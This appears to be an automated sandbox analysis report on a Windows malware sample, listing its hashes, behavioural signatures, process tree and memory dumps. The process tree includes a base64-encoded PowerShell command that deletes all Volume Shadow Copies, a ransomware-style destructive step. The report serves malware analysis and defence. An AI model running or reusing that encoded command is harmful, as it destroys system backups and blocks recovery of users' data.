Analysis

  • max time kernel
    148s
  • max time network
    203s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    20/06/2022, 16:49

General

  • Target
    320850e1cd91c5bc23b527aa7d61b71b0088f874a1695c7a95a45db3d241da5b.exe
  • Size 164KB
  • Sample220620-vb6p4ahdg5
  • SHA256 320850e1cd91c5bc23b527aa7d61b71b0088f874a1695c7a95a45db3d241da5b
  • MD5 SHA1 SHA512
Score
6/10

Malware Config

Signatures

  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Windows directory 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\320850e1cd91c5bc23b527aa7d61b71b0088f874a1695c7a95a45db3d241da5b.exe
    "C:\Users\Admin\AppData\Local\Temp\320850e1cd91c5bc23b527aa7d61b71b0088f874a1695c7a95a45db3d241da5b.exe"
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:576
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:756
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:2700
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4552

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          memory/756-131-0x0000015D2F1E0000-0x0000015D2F202000-memory.dmp

          memory/756-132-0x00007FFADD9E0000-0x00007FFADE4A1000-memory.dmp

          memory/756-133-0x00007FFADD9E0000-0x00007FFADE4A1000-memory.dmp